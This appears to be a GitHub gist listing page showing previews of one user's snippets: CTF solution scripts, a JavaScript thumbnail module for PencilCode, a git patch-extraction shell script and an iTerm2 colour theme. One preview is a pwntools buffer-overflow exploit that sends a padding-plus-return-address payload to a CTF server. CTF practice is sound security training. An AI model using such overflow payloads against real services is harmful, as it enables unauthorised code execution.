Skip to content

Instantly share code, notes, and snippets.

@xinan
xinan / beelzemon.py
Last active October 13, 2016 01:46
Solution to HITCON CTF 16 -- [PPC] Beelzemon
#!/usr/bin/python
'''
xinan@nusgreyhats.org
'''
from copy import deepcopy
from pwn import *
a1 = [0, 3]
b1 = [1, 2]
#!/usr/bin/python
from pwn import *
r = remote('pwn.chal.csaw.io', 8000)
r.recvuntil('WOW:')
address = r.recvuntil('\n')[:-1]
payload = 'A' * 72 + p64(int(address, 16))
r.writeline(payload)
@xinan
xinan / thumbnail.js
Created December 4, 2015 14:07
The thumbnail capturing module for PencilCode.
var html2canvas = require('html2canvas');
var THUMBNAIL_SIZE = 128;
var GOLDEN_RATIO = (1 + Math.sqrt(5)) / 2;
var THRESHOLD = GOLDEN_RATIO * 10;
var NUM_ATTEMPTS = 3;
// Public functions
var thumbnail = {
generateThumbnailDataUrl: function(iframe, callback) {
// Get the canvas inside the iframe.
@xinan
xinan / git_extract_commits.sh
Last active October 16, 2015 04:10
This is a simple shell script to extract commits by a specified author in a git repository and format them as numbered patches. It is useful for GSoC code submission.
if ! [[ $# -eq 1 || $# -eq 2 || $# -eq 4 ]]; then
echo "Usage: $0 <author> [<start_date> <end_date>] [output_dir]"
echo "Example: $0 xinan@me.com 2015-05-25 2015-08-21 ./patches"
exit
fi
author=$1
if [ $# -gt 3 ]; then
output_dir=$4
@xinan
xinan / material-theme.itermcolors
Created August 1, 2015 16:18
Material Theme iTerm2 Port
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Ansi 0 Color</key>
<dict>
<key>Blue Component</key>
<real>0.25882352941176467</real>
<key>Green Component</key>
<real>0.21176470588235294</real>